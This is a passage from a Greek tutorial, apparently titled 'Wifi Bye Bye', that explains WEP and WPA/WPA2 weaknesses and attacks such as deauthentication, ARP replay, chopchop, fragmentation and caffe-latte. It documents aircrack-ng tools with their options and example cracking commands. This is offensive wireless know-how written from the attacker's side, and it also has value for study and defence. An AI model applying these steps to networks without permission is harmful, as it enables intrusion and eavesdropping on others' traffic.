Σε έναν stream cipher είναι απαραίτητο η κάθε plaintext να κρυπτογραφείται με διαφορετική ψευδοτυχαία ακολουθία (keystream) κάθε φορά. Στο WEP αυτό επιτυγχάνεται με τη χρήση των IVs. Το πρόβλημα εδώ είναι πως το μήκος κάθε IV είναι μικρό (24bits) οπότε τα διαφορετικά IVs ανέρχονται σε μόλις 17εκατομμύρια. Το αποτέλεσμα είναι πως αργά ή γρήγορα κάποιο πακέτο θα περιέχει το ίδιο IV με ένα άλλο που θα έχει σταλεί νωρίτερα. Πχ ένα AP στα 11Mbps που στέλνει 1500 πακέτα το δευτερόλεπτο, θα εξαντλήσει τα πιθανά διαφορετικά IVs σε περίπου 5 ώρες:

Με το πέρας των 5 ωρών, τα IVs αρχίζουν να επαναλαμβάνονται και συνεπώς οι keystreams. Τα πράγματα γίνονται ακόμη χειρότερα όταν υπάρχουν παραπάνω από μια συσκευές συνδεδεμένες, οπότε όλες αυτές χρειάζονται διαφορετικά IVs για να λειτουργήσουν, ρίχνοντας έτσι τον χρόνο που χρειάζεται για να παραχθούν όλα τα διαφορετικά αυτά IVs. Αν δε από όλες τις συσκευές αυτές χρησιμοποιείται το ίδιο shared key, τότε θα είναι ίδιες και οι keystreams που θα χρησιμοποιούνται και από αυτές για την κρυπτογράφηση των πακέτων τους. Στην περίπτωση αυτή δε χρειάζεται να περιμένουμε και πολύ, σύντομα θα έχουμε στα χέρια μας πακέτα κρυπτογραφημένα με την ίδια keystream. H ολική κατάρρευση του WEP έρχεται με μια γνωστή αδυναμία στον RC4 cipher. To 2001 οι Fluhrer, Mantin και Shamir (FMS attack) ανακάλυψαν αδυναμίες στον Key Scheduling algorithm που χρησιμοποιεί ώστε να παράγει την PRGA (keystream) η οποία θα γίνει XOR με την plaintext. Το πρόβλημα προκύπτει επειδή για κάποιες συγκεκριμένες τιμές εισόδου, ο RC4 παράγει keystreams στις οποίες τα πρώτα bytes αντιστοιχούν σε λίγα μόνο bits του shared key ή με άλλα λόγια δεν είναι αρκετά “τυχαίες”. Εφόσον οι keystreams παράγονται μέσω OR του shared key και των IVs, ορισμένα IVs είναι αδύναμα (weak IVs). Έτσι είναι δυνατό, όταν ένα τέτοιο weak IV καταγραφεί, ο attacker να “μαντέψει” bits του shared key από τα πρώτα bytes του. Mε τη συλλογή αρκετών τέτοιων IV, μια στατιστική ανάλυσή τους θα αποκαλύψει εν τέλει το shared key.

5. The empire strikes back – το WPA

Εισαγωγή στο WPA και τις διαφορές/ομοιότητές του με το WEP Εφόσον το WEP αποδείχτηκε αδύναμο σε μια σειρά επιθέσεων, η Wi-Fi alliance επινόησε έναν διαφορετικό τρόπο κρυπτογράφησης και πιστοποίησης, τον Wireless Protected Access. To WPA χρησιμοποιεί δύο αλγόριθμους με τους οποίους η πληροφορία μπορεί να προστατευθεί κατά τη μεταφορά, τον TKIP και τον CCMP στο WPA2. O TKIP χρησιμοποιήθηκε αρχικά (2003) μέχρι να ολοκληρωθεί η τελική έκδοση του 802.11i (2004) και αποτελεί μια τροποποιημένη έκδοση του WEP. Χρησιμοποιεί έναν πιο εξεζητημένο τρόπο μιξαρίσματος του key με το IV για κάθε πακέτο πληροφορίας, το οποίο IV τώρα έχει μήκος 48bits αντί 24. Αυτό αποτρέπει όλες τις μέχρι τώρα key attacks μιας και τώρα κάθε byte της plaintext εξαρτάται από κάθε byte του key και του IV, σε αντίθεση με το WEP όπου κάθε byte της plaintext εξαρτάται από το αντίστοιχο byte του key λόγω του XOR μεταξύ τους. Επιπλέον, για να αντιμετωπιστεί το πρόβλημα με την ICV για την οποία χρησιμοποιείται ο CRC32, ένα 64bit μήνυμα προστίθεται (ΜΙC) σε κάθε πακέτο. Για να αποφευχθούν απλές replay attacks, ένας μετρητής (TSC) επιτρέπει στα πακέτα να φτάνουν μόνο με μια σειρά στον παραλήπτη και όχι τυχαία ή χωρίς έλεγχο. Επειδή ο TKIP σχεδιάστηκε ώστε το παλιότερο hardware που υποστηρίζει WEP να μπορεί να αναβαθμιστεί μέσω νέων drivers ή firmware updates, ο RC4 stream cipher είναι πάλι παρόν στην κρυπτογράφηση των πακέτων και η ICV και πάλι συμπεριλαμβάνεται με την αποστολή του πακέτου στο πακέτο αυτό. Η πιστοποίηση μπορεί να γίνει είτε με έναν authentication server (aka WPA-enterprise), είτε με το λεγόμενο WPA-PSK. Επειδή συνήθως σπίτια μας δεν έχουμε RADIUS authentication servers, τη δουλειά την αναλαμβάνει το router μας, συνήθως σε PSK mode.

[περιεχόμενα]

1,500 bytes x (8 bits/byte) X 224 = 18.300 secs ~ 5h 11x106 bits/sec

Page 11: Wifi Bye Bye

Παρόλο που μερικές μικρές αδυναμίες έχουν βρεθεί, με τις οποίες είναι δυνατό να γίνει μια chopchop στυλ επίθεση σε WPA protected δίκτυα, μέχρι στιγμής, η ανεύρεση του πολυπόθητου key μπορεί να γίνει μόνο με bruteforce ή dictionary based attacks σε μια καταγεγραμμένη 4-way handshake.

Πιστοποίηση και 4-way handshake Ας επιστρέψουμε λίγο στη διαδικασία πιστοποίησης του WPA. To 802.11i ονομάζει τη διαδικασία αυτή RSN και όταν χρησιμοποιείται η 4-way handshake μεταξύ του supplicant και του authenticator, RSNA. Συνοπτικά μπορούμε να απαριθμήσουμε τα εξής 4 βήματα κατά τη διάρκεια μιας RSN(A) διαδικασίας:

• συμφωνία ως προς το είδος ασφάλειας που θα χρησιμοποιηθεί• 802.1X πιστοποίηση• παραγωγή κλειδιών και διανομή τους• RSN(A) εμπιστευτικότητα & ακεραιότητα δεδομένων

μέσω της 4-way handshake (η οποία στην παραπάνω λίστα είναι το 3ο bullet – το 2ο παραλείπεται όταν δεν υπάρχει authentication server) γίνονται τα εξής:

• επιβεβαίωση πως ο πελάτης γνωρίζει το PMK (*)• παραγωγή ενός νέου PTK • επιβεβαίωση του cipher που θα χρησιμοποιηθεί για την κρυπτογράφηση των δεδομένων• κρυπτογράφηση της μεταφοράς του GTK• εγκατάσταση κλειδιών κρυπτογράφησης και ακεραιότητας

*)Στην περίπτωση που είμαστε σε WPA-PSK mode, PMK = PSK.

H παραγωγή του PTK γίνεται με τον παρακάτω καθόλου ευκολονόητο τύπο:

PTK = PRF-X (PMK, “Paiwise key expansion”, Min(AP_Mac, STA_Mac) || Max (AP_Mac, STA_Mac) || Min (ANonce, SNonce) || Max (ANonce, Snonce))

ο οποίος μπήκε για..ιστορικούς λόγους εδώ και δε θα αναλυθεί περαιτέρω εκτός από τα συστατικά του:PRF-X: Pseudo Random Function με αποτέλεσμα μια συμβολοσειρά μήκους ΧAnonce: τυχαίος αριθμός που παράγει το APSNonce: τυχαίος αριθμός που παράγει o πελάτηςSTA_mac,AP_mac: οι mac addresses του πελάτη και του AP αντιστοίχως

Το PTK στη συνέχεια χωρίζεται σε μικρότερα κομμάτια τα KCK (Key Confirmation Key), KEK(Key Encryption Key) και TK (Temporary Key). Από αυτά το KCK χρησιμοποιείται για την παραγωγή της MIC. H διαδικασία αυτή της διάσπασης του PTK, καθώς και τα παράγωγά της, δε θα μας απασχολήσουν περισσότερο.

Ήδη χωρίς να μπούμε και πολύ στα “ενδότερα” της RSN διαδικασίας πιστοποίησης, κρυπτογράφησης και ακεραιότητας, είναι φανερό πως πρόκειται για μια σαφώς πιο περίπλοκη μέθοδο από το WEP. Σκοπός μας όμως δεν είναι να σπάσουμε την πιστοποίηση την ίδια, αλλά μόνο το κομμάτι της 4-way handshake.

6. WPA2 total recall Το WPA2 σπάει τις παραδόσεις και αφήνει πίσω του το τρύπιο παρελθόν του WEP. Στη θέση του TKIP, έρχεται ο CCMP, ο οποίος είναι βασισμένος στον AES block cipher, έτσι οι αδυναμίες του RC4 αλγορίθμου δεν μας απασχολούν πλέον. Επειδή είναι μια εξ' αρχής σχεδιασμένη μέθοδος προστασίας, η οποία υλοποιεί τα χαρακτηριστικά του 802.11i standard, οι παλιές συσκευές δεν είναι δυνατό να αναβαθμιστούν ώστε να το υποστηρίζουν. Όπως και το WPA, έτσι και το WPA2 έρχεται σε δύο υλοποιήσεις, μια με authentication server (WPA2 – enterprise) και μια με pre-shared key (WPA2-PSK).

[περιεχόμενα]

Page 12: Wifi Bye Bye

7. Είδη επιθέσεωνDeauthentication

Ο τρόπος που λειτουργεί είναι να αποστέλλει πακέτα deuthentication στους clients ώστε αυτοί να εξαναγκαστούν να κάνουν εκ νέου πιστοποίηση (reauthenticate). Με παρόμοιο τρόπο είναι δυνατή η μαζική αποσύνδεση πολλών clients ή ακόμη και μια επίθεση DoS ενάντια σε έναν ή όλους (Queensland DoS).

Αυτή η επίθεση είναι χρήσιμη για τους εξής λόγους:

◦ Αποκάλυψη κρυμμένου (hidden ή cloacked) AP, δηλαδή AP που δεν κάνει broadcast το ESSID του.◦ Καταγραφή WPA/WPA2 handshakes με εξαναγκασμό των clients για reauthentication◦ Πρόκληση αποστολής αιτήσεων ARP ◦ MAC address spoofing

Fake authenticationΗ ψεύτικη πιστοποίηση είναι χρήσιμη όταν δεν υπάρχουν συνδεδεμένοι clients και χρειαζόμαστε μια associated MAC adress. Επιτρέπει και τους δύο τρόπους που χρησιμοποιεί το WEP και μπορεί να κάνει association με ένα AP. Δεν δημιουργεί πακέτα ARP και δεν μπορεί να συνδεθεί με AP που λειτουργούν με WPA/WPA2.

Interactive packet replay/package injectionO σκοπός της επίθεσης αυτής είναι να αναγκάσουμε το AP να στείλει πακέτα κρυπτογραφημένα με νέο IV κάθε φορά. Για να το πετύχουμε αυτό, μπορούμε να καταγράψουμε ένα πακέτο και να το ξαναστείλουμε (inject) ώστε το ΑP να απαντήσει, γεννώντας ένα νέο IV που θα σταλεί με το πακέτο πίσω. Αυτό δεν γίνεται με όλα τα πακέτα, πρέπει είτε να έχουμε ένα πακέτο το οποίο ξέρουμε πως θα το δεχτεί το AP, είτε να κατασκευάσουμε ένα μόνοι μας.Τα χαρακτηριστικά που πρέπει να έχει ένα τέτοιο πακέτο ώστε να είναι φυσικό (natural), είναι

1) να προορίζεται για την broadcast MAC address (FF:FF:FF:FF:FF) -πχ τα ARP πακέτα-2) να προέρχεται από έναν wireless client και να πηγαίνει στο δίκτυο, δλδ να έχει το DS (distribution

system) bit του τιμή 1Όταν το πακέτο που έχουμε δεν έχει τα παραπάνω χαρακτηριστικά, μπορούμε πάντοτε να του τα δώσουμε (package forgery).

ARP request replay/ARP InjectionΕίναι ο κλασσικός τρόπος ώστε να πάρουμε τα IVs που χρειαζόμαστε από το AP. Είναι σταθερός, αλλά αργός σε σύγκριση με την package injection και δουλεύει σχεδόν πάντα.Αρκεί να “ακούμε” για κάποιο πακέτο ARP και μόλις το καταγράψουμε να το ξαναστείλουμε πίσω. Ως απάντηση το AP θα επαναλάβει το πακέτο, κρυπτογραφημένο με ένα νέο IV. To ίδιο πακέτο συνεχίζει να στέλνει ο attacker ξανά και ξανά και το AP θα συνεχίσει χαρωπά να τα επιστρέφει, με ένα νέο IV για κάθε φορά. Όταν συλλέξουμε αρκετά πακέτα, μπορούμε να σπάσουμε το WEP key.

KoreK chopchopΑυτή η επίθεση όταν είναι επιτυχής, μπορεί να αποκρυπτογραφήσει ένα WEP πακέτο χωρίς να γνωρίζουμε το key, δηλαδή δεν αποκαλύπτει το ίδιο το WEP key, αλλά την plaintext και πιθανώς την PRGA τιμή που χρησιμοποιήθηκε για την κρυπτογράφησή του.Η διαδικασία είναι η εξής:

1) καταγράφουμε το πακέτο2) κόβουμε το τελευταίο byte (chop off) 3) υποθέτοντας πως έχει την τιμή 0, ξαναφτιάχνουμε το πακέτο4) το στέλνουμε στο AP το οποίο αν μαντέψαμε σωστά απαντά 5) αν όχι το πακέτο απορρίπτεται οπότε υποθέτουμε πως η τιμή του byte που κόψαμε είναι 1 και

επαναλαμβάνουμε τη διαδικασία για όλες τις 256 πιθανές τιμές του, μέχρι να απαντήσει [περιεχόμενα]

Page 13: Wifi Bye Bye

το AP οπότε θα ξέρουμε πως βρήκαμε τη σωστή τιμή6) συνεχίζουμε με το επόμενο byte και η διαδικασία επαναλαμβάνεται έως ότου αποκρυπτογραφήσουμε

όλο το πακέτο Όπως είναι προφανές ο ΚoreK εκμεταλλεύτηκε την bit-flipping αδυναμία του CRC32 που χρησιμοποιείται στην ICV και ανακάλυψε τη μαθηματική σχέση μεταξύ του choped off πακέτου και της τιμής που χρειάζεται η ICV για να γίνει το πακέτο αυτό έγκυρο.

Fragmentation attack Αυτή η επίθεση μπορεί να αποκαλύψει 1500 bytes της PRGA, η οποία μπορεί να χρησιμοποιηθεί για την κατασκευή κατάλληλων πακέτων που χρησιμοποιούνται σε injection attacks. Με κάθε πακέτο που λαμβάνεται, λαμβάνεται ταυτόχρονα και κομμάτι της PRGA το οποίο έχει χρησιμοποιηθεί για την κρυπτογράφησή του, έτσι με τη συλλογή αρκετών πακέτων μπορούμε να βρούμε την RPGA που χρησιμοποιήθηκε.Η fragmentation attack απαιτεί ένα πακέτο από το δίκτυο (το οποίο να μην έχει ως παραλήπτη το AP, γιατί δε θα το κάνει relay) ώστε να ξεκινήσει και είναι πολύ γρήγορη. Η βασική θεωρία Κάθε πακέτο έχει κάτι ήδη γνωστό να μας πειΑκόμη και κρυπτογραφημένο, ένα πακέτο μας λέει κατευθείαν τα πρώτα του 8 bytes και αυτό γιατί όλα τα802.11 πακέτα αρχίζουν με τον ίδιο LLC/SNAP header. Συγκεκριμένα τα πρώτα 3 bytes σχεδόν όλων των πακέτων είναι: AA, AA, 03 που είναι η πηγή και ο προορισμός και ο αριθμός του frame (εδώ δείχνει πως το frame δεν έχει αριθμό). Στη συνέχεια τα επόμενα 3 bytes θα είναι 00,00,00 όπως σε κάθε IP πακέτο και μας μένουν 2 bytes. Τα τελευταία 2 αυτά bytes δείχνουν το είδος του πακέτου, δλδ αν είναι IP ή ARP. Και στις δύο περιπτώσεις το πρώτο byte είναι το 08, άρα μένει να βρούμε έναν τρόπο να ξεχωρίζουμε τα IP από τα ARP πακέτα, πράγμα πολύ εύκολο μιας και τα ARP έχουν σταθερό μήκος 36 ή πιο σπάνια 54 bits. Έτσι με ευκολία μπορούμε να διαπιστώσουμε το είδος του πακέτου που σνιφάραμε και ιδού: βρέθηκε και η τιμή του τελευταίου byte.

0xAA 0xAA 0x03 0x00 0x00 0x00 0x08 ??

--- DSAP--- ---SSAP--- ---CTRL--- --------ORG code------- --Ether type--

Αν θυμηθούμε, ισχύει C=P⊕R οπότε εφόσον ξέρουμε τα πρώτα 8 bytes (δλδ τα 8 πρώτα bytes της plaintext) και έχουμε τα 8 ciphered bytes του πακέτου που σνιφάραμε, το μόνο που μένει είναι να τα κάνουμε XOR μεταξύ τους για να αποκαλυφθούν τα αντίστοιχα 8 πρώτα bytes της R(=RPGA)! Έτσι απλά και γρήγορα λοιπόν.

Τα κομματιασμένα πακέτα, παραμένουν πακέτα Άλλο σημαντικό σημείο είναι πως ένα πακέτο μπορεί σπάσει σε μικρότερα κομμάτια για να αποσταλεί και το κάθε κομμάτι αυτό να είναι έγκυρο για το ΑP που θα το λάβει, το οποίο θα τα συναρμολογήσει πάλι σε ένα ενιαίο πακέτο. To “κομμάτιασμα” αυτό (fragmentation) είναι μια αποδεκτή διαδικασία (του 802.11 πρωτοκόλλου) στην αλληλεπίδραση του WEP με το MAC layer*. Σύμφωνα λοιπόν με το 802.11 specification, στο MAC layer είναι δυνατόν να ανασυγκολληθούν μέχρι 16 πακέτα μεγέθους 4bytes το καθένα τα οποία μάλιστα θα έχουν κρυπτογραφηθεί με την ίδια keystream. Αυτή είναι μια πολύ χρήσιμη λεπτομέρεια καθώς παρόλο που γνωρίζουμε τα πρώτα 8 bytes της RPGA (στην πραγματικότητα μπορούμε να αποστείλουμε μόνο τα πρώτα 4 σε ένα πακέτο), δε μας είναι αρκετά καθώς για την κατασκευή ενός έγκυρου IP πακέτου χρειαζόμαστε τουλάχιστον 28 bytes (8 bytes LLC/SNAP header+20bytes IP header) και επίσης πρέπει να συμπεριλάβουμε την ICV και πάει λέγοντας. Ευτυχώς όμως μπορούμε να στείλουμε οτι θέλουμε αρκεί να έχει μέγεθος 4bytes, όσο δλδ το ελάχιστο fragment που κατανοεί το WEP και συνολικά 4*16=64bytes(-28 λόγω του ελάχιστου μεγέθους που προαναφέραμε) δεδομένων της αρεσκείας μας. Δυστυχώς δε γίνεται τίποτα με 36bytes δεδομένων. Χρειαζόμαστε 1500 bytes RPGA ώστε να μπορέσουμε να στείλουμε πακέτα χωρίς fragmentation.*) πρόκειται για ένα sublayer του data-link layer στο OSI network model

[περιεχόμενα]

Page 14: Wifi Bye Bye

Τα καλά ARP πακέτα δίνουν τη λύσηΗ τεχνολογία πάλι δουλεύει για εμάς. Τα ARP πακέτα δεν έχουν κανένα μα κανένα τρόπο για να πιστοποιήσουν τον εαυτό τους. Αυτό μας δίνει τη δυνατότητα να “φουσκώσουμε” ένα τέτοιο πακέτο πχ με..1500bytes ώστε το ΑP να μας το επιστρέψει κρυπτογραφημένο και να κάνουμε τη δουλειά μας. Αυτό δε γίνεται πάντα απευθείας, ίσως χρειαστεί να στείλουμε αρκετά πακέτα ARP φουσκωμένα λίγο λίγο τη φορά. Στο τέλος όμως θα μαζέψουμε τα bytes που χρειαζόμαστε. Είμαστε έτοιμοι τώρα να κατασκευάσουμε ότι πακέτο θέλουμε. Το IV κάθε πακέτου το καθορίζουμε εμείς, μπορούμε να με bit-flipping να αλλάξουμε το πακέτο όπως μας αρέσει και γενικώς να κάνουμε ότι μας έρθει κατά νου για να βρούμε το WEP κλειδί...

Caffe-latte attack Η επίθεση αυτή καταρρίπτει τον μύθο πως χρειάζεται ο attacker να είναι στην ακτίνα δράσης ενός ΑP ώστε να μπορεί να έχει πρόσβαση σε αυτό. Με την caffe-latte τεχνική, το υποψήφιο “θύμα” μπορεί να είναι ένα laptop πχ το οποίο δεν βρίσκεται συνδεδεμένο σε κανένα δίκτυο, του οποίου τα cached WEP keys περιμένουν υπομονετικά τον attacker να τα σπάσει! Παλιότερες επιθέσεις με τις οποίες μπορεί να γίνει SSID spoofing όπως οι evil twin/honeypot attacks ήδη έδειξαν τον δρόμο με τον οποίο μπορεί κάποιος να στήσει ένα εικονικό AP για να προσελκύσει ανυποψίαστους clients οι οποίοι ψάχνουν για wi-fi hotspots για να συνδεθούν. Για παράδειγμα μπορεί ο attacker να στήσει ένα ψεύτικο AP με ESSID “connex” ή κάποιο άλλο κοινώς χρησιμοποιούμενο όνομα και αφού προσελκύσει ένα laptop να σπάσει το WEP key ή να κάνει τον εαυτό του man-in-the-middle και να παρακολουθεί την ιντερνετική δραστηριότητα του “θύματος”. Για να σπάσει ο attacker το WEP key χρειάζεται αρκετά κρυπτογραφημένα πακέτα. Εφόσον δεν υπάρχει σύνδεση στο ίντερνετ, πως θα βρει τόσα; Το κλειδί εδώ είναι η εκμετάλλευση του τρόπου με τον οποίο το ARP διασφαλίζει πως δύο pc δε μοιράζονται την ίδια ip address. Όταν ένας νέος client εισέρχεται στο δίκτυο, το πρώτο πράγμα που κάνει είναι να ανακοινώσει την ip address του και να διασφαλίσει πως δεν χρησιμοποιείται ήδη. Κανονικά τα μηνύματα αυτά αγνοούνται από το “θύμα” εκτός και εάν χρησιμοποιεί την ip αυτή ήδη. Έτσι ο attacker στέλνει στο θύμα κατάλληλα ARP requests μέχρι να λάβει απάντηση. Τα κατάλληλα ARP πακέτα μπορούν να κατασκευαστούν με bit-flipping λόγω της αδυναμίας στο integrity checking του WEP, πχ είναι εύκολο αλλάζοντας την ΙP και την MAC address που περιέχονται στον header ενός gratuitous ARP πακέτου, ώστε να μετατραπεί σε έγκυρο κρυπτογραφημένο ARP request με αυτόν τον τρόπο. Όταν o attacker λάβει απάντηση, τότε το μόνο που χρειάζεται είναι να συνεχίσει να στέλνει το ίδιο ARP request, ζητώντας την ίδια ip -που τώρα ξέρει πως δεν μπορεί να έχει- οπότε το “θύμα” θα απαντά πως τη χρησιμοποιεί. Στο μεταξύ ο attacker θα συνεχίσει να μαζεύει πακέτα έως ότου σπάσει το WEP key.

8. “Χρήσιμα” εργαλεία και συμβατό hardwareXρήσιμα εργαλεία και software που χρειαζόμαστε Aircrack-ng suite

Τα πολυαγαπημένα αυτά εργαλεία των επίδοξων wifi crackers, δίνουν μια πληθόρα δυνατοτήτων, από κατασκευή πακέτων μέχρι mass deauthentication. Συνοπτικά η λειτουργία αυτών που θα χρησιμοποιήσουμε:

aireplay-ng Είναι το βασικό εργαλείο της σουίτας, θα το χρησιμοποιήσουμε για να επιτεθούμε σε ένα wifi δίκτυο και η δουλειά του είναι το package injection.

Χρήση: aireplay-ng <παράμετροι> <replay interface>για το φιλτράρισμα των πακέτων που θα σταλούν ισχύουν τα παρακάτω φίλτρα

Filter options: • -b bssid : MAC address, Access Point• -d dmac : MAC address, Destination (προορισμός)• -s smac : MAC address, Source (πηγή) [περιεχόμενα]

Page 15: Wifi Bye Bye

• -m len : ελάχιστο μήκος πακέτων• -n len : μέγιστο μήκος πακέτων • -u type : frame control, type field• -v subt : frame control, subtype field• -t tods : frame control, To DS bit• -f fromds : frame control, From DS bit• -w iswep : frame control, WEP bit

για package injection ισχύουν οι εξής επιλογές

• -x nbpps : number of packets per second• -p fctrl : frame control word (hex)• -a bssid : Access Point MAC address• -c dmac : Destination MAC address• -h smac : Source MAC address• -e essid : fakeauth attack : το AP SSID στο οποίο θέλουμε να κάνουμε authentication• -j : arpreplay attack : inject FromDS πακέτα• -g value : αλλαγή του μεγέθους του ring buffer (default: 8)• -k IP : destination IP in fragments• -l IP : source IP in fragments• -o npckts : number of packets per burst (-1)• -q sec : δευτερόλεπτα μεταξύ των keep-alives, σε περίπτωση dynamic wep (-1)• -y prga : keystream για shared key authentication

Attack modes, επιθέσεις που μπορούν να γίνουν με το aireplay (Μπορούν να χρησιμοποιηθούν και οι αριθμοί):

παράδειγμα:

-1 = fakeauth 0 = delay στο οποίο θα περιμένουμε για την απάντηση από το AP -e = το AP στο οποίο θέλουμε να κάνουμε authentication -a = η mac του AP στην οποία θα κάνουμε το injection -b = η mac του ΑP -h = η δική μας mac interface = το wlan interface μας, πχ ath0

airmon-ng Με το airmon βάζουμε την κάρτα μας σε monitor mode ή τη βγάζουμε από αυτό Χρήση: airmon-ng <start|stop> <interface> [channel] Όπου:

• <start|stop> start ή stop του interface. (υποχρεωτικό)• <interface> το interface. (υποχρεωτικό)• [channel] προαιρετικά θέτει την κάρτα σε ένα συγκεκριμένο κανάλι. [περιεχόμενα]

• - -deauth count : deauthenticate 1 ή όλους τους stations (-0)• - -fakeauth delay : fake authentication με το AP (-1)• - -interactive : interactive frame selection (-2)• - -arpreplay : κλασσική ARP-request replay (-3)• - -chopchop : decrypt/chopchop WEP packet (-4)• - -fragment : δημιουργεί μια έγκυρη keystream (-5)• - -test : injection test (-9)

aireplay -1 0 –e [ Essid ] -a [ Bssid τουAP] –b [ bssid του AP] –h [ bssid του station ] [ interface ]

Page 16: Wifi Bye Bye

airodump-ng Το airodump χρησιμοποιείται για την καταγραφή raw πακέτων. Έχει αρκετές χρήσεις, μέχρι που μπορεί να βρει τις συντεταγμένες ενός AP αν χρησιμοποιηθεί με ένα GPS, από τις οποίες λίγες μόνο θα μας απασχολήσουνΧρήση: airodump-ng <options> <interface>[,<interface>,...]

Επιλογές: --ivs : σώζει μόνο IVs και όχι όλα τα πακέτα που λαμβάνει --gpsd : για χρήση GPSd --write <prefix> : prefix του αρχείου καταγραφής των πακέτων -w : ίδιο με το --write --beacons : καταγραφή όλων των beacons σε ένα dump file --update <secs> : ανανέωση της οθόνης σε secs --showack : εμφανίζει στατιστικά των ack/cts/rts πακέτων -h : κρύβει γνωστούς stations για το --showack -f <msecs> : Χρόνος ανάμεσα στην αλλαγή channel σε ms --berlin <secs> : Χρόνος πριν την απομάκρυνση από την οθόνη ενός AP/client όταν

δεν υπάρχει δραστηριότητα(Default: 120 seconds). -r <file> : ανάγνωση πακέτων από το fileFilter options: --encrypt <suite> : Φιλτράρισμα APs ανάλογα με τον cipher τους --netmask <netmask> : Φιλτράρισμα APs ανάλογα με τη mask --bssid <bssid> : Φιλτράρισμα APs ανάλογα BSSID -a : Φιλτράρισμα unassociated clients

Εξ' ορισμού το airodump-ng θα αλλάζει κανάλια στην μπάντα των 2.4Ghz.Μπορούμε να το κάνουμε να καταγράφει σε άλλα κανάλια ή/και άλλες μπάντες: --channel <channels>: Καταγραφή σε συγκεκριμένα κανάλια --band <abg> : Μπάντα στην οποία το airodump-ng θα αλλάζει κανάλια --cswitch <method> : Τρόπος αλλαγής καναλιών 0 : FIFO (default) 1 : Round Robin 2 : Hop on last -s : ίδιο με το --cswitch

--help : δείχνει την οθόνη βοήθειας

aircrack-ng Το aircrack είναι ένα εργαλείο για cracking WEP και WPA/WPA2-PSK κeys. Για το WEP χρησιμοποιεί δύο βασικές μεθόδους, την PTW (Pyshkin, Tews, Weinmann) και την FMS/KoreK. Η PTW έχει το πλεονέκτημα πως χρειάζεται λίγα μόνο πακέτα για να πετύχει και αποτελεί βελτίωση της μεθόδου του Andreas Klein (2005) o οποίος είχε ανακαλύψει πως υπάρχουν ακόμη περισσότερες συσχετήσεις μεταξύ των RC4 keystreams και του Key από αυτές που είχαν ανακαλύψει οι FMS. Λειτουργεί μόνο με ARP πακέτα και δεν μπορεί να εφαρμοστεί σε άλλα. Η FMS/KoreK μέθοδος χρησιμοποιεί πολλές τεχνικές μαζί για να σπάσει το WEP key:

• FMS ( Fluhrer, Mantin, Shamir) attacks - statistical techniques • Korek attacks - statistical techniques• brute force

Στην περίπτωση των WPA/WPA2 οι παραπάνω μέθοδοι δεν έχουν αποτέλεσμα. Ο μόνος τρόπος για να σπάσουμε ένα WPA/WPA2 shared key είναι να καταγράψουμε την 4-way handshake μεταξύ του client και του AP και μετά να εφαρμόσουμε μια dictionary attack στην handshake αυτή.

Χρήση:aircrack-ng [options] <capture file(s)>

[περιεχόμενα]

Page 17: Wifi Bye Bye

Options:option Παραμ. Περιγραφή-a amode Force attack mode (1 = static WEP, 2 = WPA/WPA2-PSK).-e essid If set, all IVs from networks with the same ESSID will be used. This option is also required

for WPA/WPA2-PSK cracking if the ESSID is not broadcasted (hidden). -b bssid Select the target network based on the access point's MAC address. -p nbcpu On SMP systems: # of CPU to use. This option is invalid on non-SMP systems. -q none Enable quiet mode (no status output until the key is found, or not). -c none (WEP) Restrict the search space to alpha-numeric characters only (0×20 - 0x7F). -t none (WEP) Restrict the search space to binary coded decimal hex characters. -h none (WEP) Restrict the search space to numeric characters (0×30-0×39) These keys are used by

default in most Fritz!BOXes. -d start (WEP) Set the beginning of the WEP key (in hex), for debugging purposes. -m maddr (WEP) MAC address to filter WEP data packets. Alternatively, specify -m ff:ff:ff:ff:ff:ff to

use all and every IVs, regardless of the network. -n nbits (WEP) Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc. The

default value is 128. -i index (WEP) Only keep the IVs that have this key index (1 to 4). The default behaviour is to

ignore the key index. -f fudge (WEP) By default, this parameter is set to 2 for 104-bit WEP and to 5 for 40-bit WEP.

Specify a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelyhood of success.

-k korek (WEP) There are 17 korek statistical attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try -k 1, -k 2, … -k 17 to disable each attack selectively.

-x/-x0 none (WEP) Disable last keybytes brutforce. -x1 none (WEP) Enable last keybyte bruteforcing (default). -x2 none (WEP) Enable last two keybytes bruteforcing. -X none (WEP) Disable bruteforce multithreading (SMP only). -y none (WEP) This is an experimental single bruteforce attack which should only be used when the

standard attack mode fails with more than one million IVs -w words (WPA) Path to a wordlist or ”-” without the quotes for standard in (stdin). -z none Invokes the PTW WEP cracking method.

Στην οθόνη του aircrack: KB = Keybyte depth = βάθος της αναζήτησης byte = το byte του key που έδωσαν τα IVs vote = οι “ψήφοι” που δείχνουν πως το byte αυτό είναι σωστό

Παράδειγμα:aircrack-ng -w h:hex.txt,ascii.txt -a 1 -n 64 -e apname wep10-01.cap (wep dictionary attack)

[περιεχόμενα]

Page 18: Wifi Bye Bye

-w h:hex.txt,ascii.txt = τα αρχεία που θα χρησιμοποιηθούν για dictionaries (βάζουμε ένα h: μπροστά από αρχεία που περιέχουν hex values)-a 1 = τύπος κρυπτογράφησης WEP-n 64 = το κλειδί είναι 64bit-e apname = το όνομα του AP (-b για να δώσετε τη mac address του)wep10-01.cap = το αρχείο με τα καταγεγραμμένα πακέτα

packetforge-ng O σκοπός του packetforge είναι να δημιουργεί κρυπτογραφημένα πακέτα τα οποία θα μπορούν να χρησιμοποιούνται ύστερα για injection. Μπορεί να δημιουργήσει διάφορα είδη πακέτων όπως ARP requests, UDP, ICMP και custom πακέτα. Η πιο κοινή χρήση του είναι η δημιουργία ARP request πακέτων για injection.Forge options:

• -p <fctrl> : set frame control word (hex)• -a <bssid> : set Access Point MAC address• -c <dmac> : set Destination MAC address• -h <smac> : set Source MAC address• -j : set FromDS bit• -o : clear ToDS bit• -e : disables WEP encryption• -k <ip[:port]> : set Destination IP [Port]• -l <ip[:port]> : set Source IP [Port] (Dash lowercase letter L)• -t ttl : set Time To Live• -w <file> : write packet to this pcap file

Modes (long modes use double dashes):• –arp : forge an ARP packet (-0)• –udp : forge an UDP packet (-1)• –icmp : forge an ICMP packet (-2)• –null : build a null packet (-3)• –custom : build a custom packet (-9)

Kismet Το Kismet είναι ένα εργαλείο καταγραφής δεδομένων δικτύων (sniffing), ανίχνευσης δικτύων και intrusion detection σε 802.11 wireless δίκτυα. Μερικά χαρακτηριστικά που υποστηρίζει:

